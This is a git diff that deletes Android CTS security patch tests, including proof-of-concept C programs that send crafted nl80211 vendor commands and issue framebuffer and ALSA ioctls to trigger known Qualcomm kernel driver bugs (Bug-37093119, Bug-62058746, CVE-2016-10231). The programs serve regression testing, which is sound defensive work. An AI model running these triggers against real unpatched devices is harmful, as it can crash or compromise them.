-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_WIPHY;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 0;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = 24;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-
-  return ret;
-}
-
-unsigned if_nametoindex(const char *ifname) {
-  int s = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
-  if (s == -1) return 0;
-  int ret = 0;
-  struct ifreq ifr;
-
-  memset(&ifr, 0, sizeof(ifr));
-  strncpy(ifr.ifr_name, ifname, sizeof(ifr.ifr_name));
-  ifr.ifr_name[IFNAMSIZ - 1] = 0;
-
-  ret = ioctl(s, SIOCGIFINDEX, &ifr);
-  close(s);
-  return (ret == -1) ? 0 : ifr.ifr_ifindex;
-}
-
-int get_wiphy_idx(int id, int fd, int *ifindex, int *wiphyid, char *ifname) {
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen, ret;
-  char *buf;
-  struct msgtemplate msg, ans;
-
-  int if_index = if_nametoindex("wlan0");
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST;
-  msg.n.nlmsg_seq = 0;
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_GET_INTERFACE;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = if_index;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-  ret = recv(fd, &ans, sizeof(ans), 0);
-
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  *ifindex = *(u32 *)NLA_DATA(na);
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  strcpy(ifname, NLA_DATA(na));
-
-  na = (struct nlattr *)((char *)na + NLA_ALIGN(na->nla_len));
-  *wiphyid = *(u32 *)NLA_DATA(na);
-
-  return ret;
-}
-
-int main(int argc, const char *argv[]) {
-  int ret;
-
-  int fd;
-  struct sockaddr_nl local;
-  struct msgtemplate ans;
-
-  /* 创建socket */
-  fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
-  if (fd < 0) return -1;
-
-  memset(&local, 0, sizeof(local));
-  local.nl_family = AF_NETLINK;
-
-  if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0) {
-    return -1;
-  }
-
-  int id = get_family_id(fd);
-
-  int ifindex, wiphyid;
-  char ifname[64];
-  get_wiphy_idx(id, fd, &ifindex, &wiphyid, ifname);
-
-  struct nlattr *na;
-  struct nlattr *na_data;
-  struct sockaddr_nl nladdr;
-  int r, buflen;
-  char *buf;
-  struct msgtemplate msg;
-
-  msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
-  msg.n.nlmsg_type = id;
-  msg.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
-  msg.n.nlmsg_seq = time(0);
-  msg.n.nlmsg_pid = getpid();
-  msg.g.cmd = NL80211_CMD_VENDOR;
-  msg.g.version = 1;
-
-  na = (struct nlattr *)GENLMSG_DATA(&msg);
-  na->nla_type = NL80211_ATTR_VENDOR_ID;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_ID;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_SUBCMD;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_SET_BSSID_HOTLIST;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_IFINDEX;
-  na->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na) = ifindex;
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  char data[1024] = {0};
-  int data_size = 0;
-  na_data = data;
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_SUBCMD_CONFIG_PARAM_REQUEST_ID;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = 1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_NUM_AP;
-  na_data->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_data) = 1;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  char apTh[256] = {0};
-  int apTh_size = 0;
-  struct nlattr *na_apTh = apTh;
-
-  na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
-  na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_LOW;
-  na_apTh->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_apTh) = -1;
-  apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
-
-  na_apTh = (struct nlattr *)((char *)na_apTh + NLMSG_ALIGN(na_apTh->nla_len));
-  na_apTh->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM_RSSI_HIGH;
-  na_apTh->nla_len = 4 + NLA_HDRLEN;
-  *(u32 *)NLA_DATA(na_apTh) = 0x1;
-  apTh_size += NLMSG_ALIGN(na_apTh->nla_len);
-
-  char middlebuf[256] = {0};
-  int middlebuf_size = 0;
-  struct nlattr *na_middle = middlebuf;
-
-  na_middle =
-      (struct nlattr *)((char *)na_middle + NLMSG_ALIGN(na_middle->nla_len));
-  na_middle->nla_type = 0;
-  na_middle->nla_len = apTh_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na_middle), apTh, apTh_size);
-  middlebuf_size += NLMSG_ALIGN(na_middle->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type = QCA_WLAN_VENDOR_ATTR_EXTSCAN_AP_THRESHOLD_PARAM;
-  na_data->nla_len = middlebuf_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na_data), middlebuf, middlebuf_size);
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na_data = (struct nlattr *)((char *)na_data + NLMSG_ALIGN(na_data->nla_len));
-  na_data->nla_type =
-      QCA_WLAN_VENDOR_ATTR_EXTSCAN_BSSID_HOTLIST_PARAMS_LOST_AP_SAMPLE_SIZE;
-  na_data->nla_len = 0 + NLA_HDRLEN;
-  data_size += NLMSG_ALIGN(na_data->nla_len);
-
-  na = (struct nlattr *)((char *)na + NLMSG_ALIGN(na->nla_len));
-  na->nla_type = NL80211_ATTR_VENDOR_DATA;
-  na->nla_len = data_size + NLA_HDRLEN;
-  memcpy(NLA_DATA(na), data, data_size);
-  msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
-
-  buf = (char *)&msg;
-  buflen = msg.n.nlmsg_len;
-  memset(&nladdr, 0, sizeof(nladdr));
-  nladdr.nl_family = AF_NETLINK;
-  ret = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr));
-  if (ret < 0) {
-    return -1;
-  }
-
-  memset(&ans, 0, sizeof(ans));
-
-  ret = recv(fd, &ans, sizeof(ans), 0);
-  na = (struct nlattr *)GENLMSG_DATA(&ans);
-  char *temp = na;
-
-  struct nlattr *nla;
-  int rem;
-  nla_for_each_attr(nla, na, ret - 20, rem) {
-    if (nla->nla_type == NL80211_ATTR_VENDOR_DATA) {
-      struct nlattr *nla0;
-      int rem0;
-      nla_for_each_attr(nla0, NLA_DATA(nla), nla->nla_len, rem0) { break; }
-    }
-  }
-  return ret;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk b/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
deleted file mode 100644
index 00f77fd..0000000
--- a/hostsidetests/security/securityPatch/Bug-37093119/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-37093119
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h b/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
deleted file mode 100644
index 456fe36..0000000
--- a/hostsidetests/security/securityPatch/Bug-37093119/local_poc.h
+++ /dev/null
@@ -1,349 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#ifndef __CMD_H__
-#define __CMD_H__
-#endif
-
-#define _IOC_NRBITS 8
-#define _IOC_TYPEBITS 8
-
-/*
- * Let any architecture override either of the following before
- * including this file.
- */
-
-#ifndef _IOC_SIZEBITS
-#define _IOC_SIZEBITS 14
-#endif
-
-#ifndef _IOC_DIRBITS
-#define _IOC_DIRBITS 2
-#endif
-
-#define _IOC_NRMASK ((1 << _IOC_NRBITS) - 1)
-#define _IOC_TYPEMASK ((1 << _IOC_TYPEBITS) - 1)
-#define _IOC_SIZEMASK ((1 << _IOC_SIZEBITS) - 1)
-#define _IOC_DIRMASK ((1 << _IOC_DIRBITS) - 1)
-
-#define _IOC_NRSHIFT 0
-#define _IOC_TYPESHIFT (_IOC_NRSHIFT + _IOC_NRBITS)
-#define _IOC_SIZESHIFT (_IOC_TYPESHIFT + _IOC_TYPEBITS)
-#define _IOC_DIRSHIFT (_IOC_SIZESHIFT + _IOC_SIZEBITS)
-
-/*
- * Direction bits, which any architecture can choose to override
- * before including this file.
- */
-
-#ifndef _IOC_NONE
-#define _IOC_NONE 0U
-#endif
-
-#ifndef _IOC_WRITE
-#define _IOC_WRITE 1U
-#endif
-
-#ifndef _IOC_READ
-#define _IOC_READ 2U
-#endif
-
-#define _IOC_TYPECHECK(t) (sizeof(t))
-#define _IOC(dir, type, nr, size)                          \
-  (((dir) << _IOC_DIRSHIFT) | ((type) << _IOC_TYPESHIFT) | \
-   ((nr) << _IOC_NRSHIFT) | ((size) << _IOC_SIZESHIFT))
-
-/* used to create numbers */
-#define _IO(type, nr) _IOC(_IOC_NONE, (type), (nr), 0)
-#define _IOR(type, nr, size) \
-  _IOC(_IOC_READ, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOW(type, nr, size) \
-  _IOC(_IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-#define _IOWR(type, nr, size) \
-  _IOC(_IOC_READ | _IOC_WRITE, (type), (nr), (_IOC_TYPECHECK(size)))
-
-#define MSMFB_IOCTL_MAGIC 'm'
-
-struct mdp_pp_feature_version {
-  uint32_t pp_feature;
-  uint32_t version_info;
-};
-#define MSMFB_MDP_PP_GET_FEATURE_VERSION \
-  _IOWR(MSMFB_IOCTL_MAGIC, 171, struct mdp_pp_feature_version)
-
-struct fb_cmap_user {
-  __u32 start; /* First entry	*/
-  __u32 len;   /* Number of entries */
-  __u16 *red;  /* Red values	*/
-  __u16 *green;
-  __u16 *blue;
-  __u16 *transp; /* transparency, can be NULL */
-};
-#define FBIOPUTCMAP 0x4605
-
-/* QSEED3 LUT sizes */
-#define DIR_LUT_IDX 1
-#define DIR_LUT_COEFFS 200
-#define CIR_LUT_IDX 9
-#define CIR_LUT_COEFFS 60
-#define SEP_LUT_IDX 10
-#define SEP_LUT_COEFFS 60
-
-struct mdp_scale_luts_info {
-  uint64_t dir_lut;
-  uint64_t cir_lut;
-  uint64_t sep_lut;
-  uint32_t dir_lut_size;
-  uint32_t cir_lut_size;
-  uint32_t sep_lut_size;
-};
-
-struct mdp_set_cfg {
-  uint64_t flags;
-  uint32_t len;
-  uint64_t payload;
-};
-#define MDP_QSEED3_LUT_CFG 0x1
-
-#define MDP_IOCTL_MAGIC 'S'
-#define MSMFB_MDP_SET_CFG _IOW(MDP_IOCTL_MAGIC, 130, struct mdp_set_cfg)
-
-#define MDP_LAYER_COMMIT_V1_PAD 4
-
-struct mdp_rect {
-  uint32_t x;
-  uint32_t y;
-  uint32_t w;
-  uint32_t h;
-};
-
-enum mdss_mdp_blend_op {
-  BLEND_OP_NOT_DEFINED = 0,
-  BLEND_OP_OPAQUE,
-  BLEND_OP_PREMULTIPLIED,
-  BLEND_OP_COVERAGE,
-  BLEND_OP_MAX,
-};
-
-enum mdp_color_space {
-  MDP_CSC_ITU_R_601,
-  MDP_CSC_ITU_R_601_FR,
-  MDP_CSC_ITU_R_709,
-};
-
-struct mdp_layer_plane {
-  /* DMA buffer file descriptor information. */
-  int fd;
-
-  /* Pixel offset in the dma buffer. */
-  uint32_t offset;
-
-  /* Number of bytes in one scan line including padding bytes. */
-  uint32_t stride;
-};
-
-#define MAX_PLANES 4
-
-struct mult_factor {
-  uint32_t numer;
-  uint32_t denom;
-};
-struct mdp_layer_buffer {
-  uint32_t width;
-  uint32_t height;
-  uint32_t format;
-
-  /* plane to hold the fd, offset, etc for all color components */
-  struct mdp_layer_plane planes[MAX_PLANES];
-
-  /* valid planes count in layer planes list */
-  uint32_t plane_count;
-
-  /* compression ratio factor, value depends on the pixel format */
-  struct mult_factor comp_ratio;
-
-  /*
-   * SyncFence associated with this buffer. It is used in two ways.
-   *
-   * 1. Driver waits to consume the buffer till producer signals in case
-   * of primary and external display.
-   *
-   * 2. Writeback device uses buffer structure for output buffer where
-   * driver is producer. However, client sends the fence with buffer to
-   * indicate that consumer is still using the buffer and it is not ready
-   * for new content.
-   */
-  int fence;
-
-  /* 32bits reserved value for future usage. */
-  uint32_t reserved;
-};
-
-struct mdp_input_layer {
-  uint32_t flags;
-  uint32_t pipe_ndx;
-  uint8_t horz_deci;
-  uint8_t vert_deci;
-  uint8_t alpha;
-  uint16_t z_order;
-  uint32_t transp_mask;
-  uint32_t bg_color;
-
-  /* blend operation defined in "mdss_mdp_blend_op" enum. */
-  enum mdss_mdp_blend_op blend_op;
-
-  /* color space of the source */
-  enum mdp_color_space color_space;
-
-  struct mdp_rect src_rect;
-
-  /*
-   * Destination rectangle, the position and size of image on screen.
-   * This should always be within panel boundaries.
-   */
-  struct mdp_rect dst_rect;
-
-  /* Scaling parameters. */
-  void __user *scale;
-
-  /* Buffer attached with each layer. Device uses it for commit call. */
-  struct mdp_layer_buffer buffer;
-
-  void __user *pp_info;
-  int error_code;
-  uint32_t reserved[6];
-};
-
-struct mdp_output_layer {
-  /*
-   * Flag to enable/disable properties for layer configuration. Refer
-   * layer flag config section for all possible flags.
-   */
-  uint32_t flags;
-
-  /*
-   * Writeback destination selection for output. Client provides the index
-   * in validate and commit call.
-   */
-  uint32_t writeback_ndx;
-
-  /* Buffer attached with output layer. Device uses it for commit call */
-  struct mdp_layer_buffer buffer;
-
-  /* color space of the destination */
-  enum mdp_color_space color_space;
-
-  /* 32bits reserved value for future usage. */
-  uint32_t reserved[5];
-};
-
-struct mdp_layer_commit_v1 {
-  uint32_t flags;
-  int release_fence;
-  struct mdp_rect left_roi;
-  struct mdp_rect right_roi;
-  struct mdp_input_layer __user *input_layers;
-
-  /* Input layer count present in input list */
-  uint32_t input_layer_cnt;
-
-  struct mdp_output_layer __user *output_layer;
-
-  int retire_fence;
-  void __user *dest_scaler;
-  uint32_t dest_scaler_cnt;
-
-  uint32_t reserved[MDP_LAYER_COMMIT_V1_PAD];
-};
-
-struct mdp_layer_commit {
-  /*
-   * 32bit version indicates the commit structure selection
-   * from union. Lower 16bits indicates the minor version while
-   * higher 16bits indicates the major version. It selects the
-   * commit structure based on major version selection. Minor version
-   * indicates that reserved fields are in use.
-   *
-   * Current supported version is 1.0 (Major:1 Minor:0)
-   */
-  uint32_t version;
-  union {
-    /* Layer commit/validate definition for V1 */
-    struct mdp_layer_commit_v1 commit_v1;
-  };
-};
-
-#define MDP_IOCTL_MAGIC 'S'
-/* atomic commit ioctl used for validate and commit request */
-#define MSMFB_ATOMIC_COMMIT _IOWR(MDP_IOCTL_MAGIC, 128, void *)
-
-#define MISR_CRC_BATCH_SIZE 32
-struct mdp_misr {
-  uint32_t block_id;
-  uint32_t frame_count;
-  uint32_t crc_op_mode;
-  uint32_t crc_value[MISR_CRC_BATCH_SIZE];
-};
-
-struct mdp_blend_cfg {
-  uint32_t is_premultiplied;
-};
-
-struct mdp_mixer_cfg {
-  uint32_t writeback_format;
-  uint32_t alpha;
-};
-
-struct mdss_hw_caps {
-  uint32_t mdp_rev;
-  uint8_t rgb_pipes;
-  uint8_t vig_pipes;
-  uint8_t dma_pipes;
-  uint8_t max_smp_cnt;
-  uint8_t smp_per_pipe;
-  uint32_t features;
-};
-
-enum {
-  metadata_op_none,
-  metadata_op_base_blend,
-  metadata_op_frame_rate,
-  metadata_op_vic,
-  metadata_op_wb_format,
-  metadata_op_wb_secure,
-  metadata_op_get_caps,
-  metadata_op_crc,
-  metadata_op_get_ion_fd,
-  metadata_op_max
-};
-
-struct msmfb_metadata {
-  uint32_t op;
-  uint32_t flags;
-  union {
-    struct mdp_misr misr_request;
-    struct mdp_blend_cfg blend_cfg;
-    struct mdp_mixer_cfg mixer_cfg;
-    uint32_t panel_frame_rate;
-    uint32_t video_info_code;
-    struct mdss_hw_caps caps;
-    uint8_t secure_en;
-    int fbmem_ionfd;
-  } data;
-};
-
-#define MSMFB_METADATA_GET _IOW(MSMFB_IOCTL_MAGIC, 166, struct msmfb_metadata)
-
diff --git a/hostsidetests/security/securityPatch/Bug-37093119/poc.c b/hostsidetests/security/securityPatch/Bug-37093119/poc.c
deleted file mode 100644
index 781fed7..0000000
--- a/hostsidetests/security/securityPatch/Bug-37093119/poc.c
+++ /dev/null
@@ -1,77 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdio.h>
-#include <sys/mman.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <sys/types.h>
-#include "local_poc.h"
-
-int main(int argc, char **argv) {
-  int ret, count;
-  int j = 0;
-  int fd;
-  struct msmfb_metadata data;
-  void *addr;
-  int pc = 3;
-  char driver[32] = {0};
-
-  for (int i = 0; i < 3; i++) {
-    if (snprintf(driver, sizeof(driver), "/dev/graphics/fb%d", i) < 0) {
-      exit(EXIT_FAILURE);
-    }
-    while (pc-- > 0) fork();
-
-    fd = open(driver, O_RDWR, 0);
-    if (fd < 0) {
-      return -1;
-    }
-
-    addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
-    if (addr == MAP_FAILED) {
-      close(fd);
-      return -1;
-    }
-
-    count = 0;
-  retry:
-    memset(&data, 0x0, sizeof(data));
-    data.op = metadata_op_get_ion_fd;
-    ret = ioctl(fd, MSMFB_METADATA_GET, &data);
-
-    close(data.data.fbmem_ionfd);
-    j++;
-    if (j < 10000) {
-      goto retry;
-    }
-
-    munmap(addr, 4096);
-
-    close(fd);
-  }
-  return 0;
-}
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk b/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
deleted file mode 100644
index 1a36be9..0000000
--- a/hostsidetests/security/securityPatch/Bug-62058746/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := Bug-62058746
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/Bug-62058746/poc.c b/hostsidetests/security/securityPatch/Bug-62058746/poc.c
deleted file mode 100644
index 05d54fe..0000000
--- a/hostsidetests/security/securityPatch/Bug-62058746/poc.c
+++ /dev/null
@@ -1,50 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <ctype.h>
-#include <dirent.h>
-#include <dlfcn.h>
-#include <elf.h>
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/ptrace.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define FILE_PATH ("/proc/cld/athdiagpfs")
-
-#define TEST_SIZE (8092)
-
-void *read_test(int arg) {
-  size_t buffer_size = (size_t)arg;
-  FILE *fd = fopen(FILE_PATH, "rb");
-  char *buffer = (char *)malloc(sizeof(char) * buffer_size);
-  memset(buffer, '0', buffer_size);
-  buffer[buffer_size-1] = '\0';
-  while (fgets(buffer, buffer_size, fd))  { }
-  return NULL;
-}
-
-int main() { read_test(TEST_SIZE); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
deleted file mode 100644
index 34c2f5c..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/Android.mk
+++ /dev/null
@@ -1,35 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-10231
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c b/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
deleted file mode 100644
index b6b82d7..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-10231/poc.c
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <sys/ioctl.h>
-#include <fcntl.h>
-#include <string.h>
-#include <stdlib.h>
-
-#define SNDRV_CTL_IOCTL_ELEM_WRITE	_IOWR('U', 0x13, struct snd_ctl_elem_value)
-
-typedef int __bitwise snd_ctl_elem_iface_t;
-
-struct snd_aes_iec958 {
-    unsigned char status[24];
-    unsigned char subcode[147];
-    unsigned char pad;
-    unsigned char dig_subframe[4];
-};
-
-struct snd_ctl_elem_id {
-    unsigned int numid;
-    snd_ctl_elem_iface_t iface;
-    unsigned int device;
-    unsigned int subdevice;
-    unsigned char name[44];
-    unsigned int index;
-};
-
-struct snd_ctl_elem_value {
-    struct snd_ctl_elem_id id;
-    unsigned int indirect: 1;
-    union {
-	union {
-	    long value[128];
-	    long *value_ptr;
-	} integer;
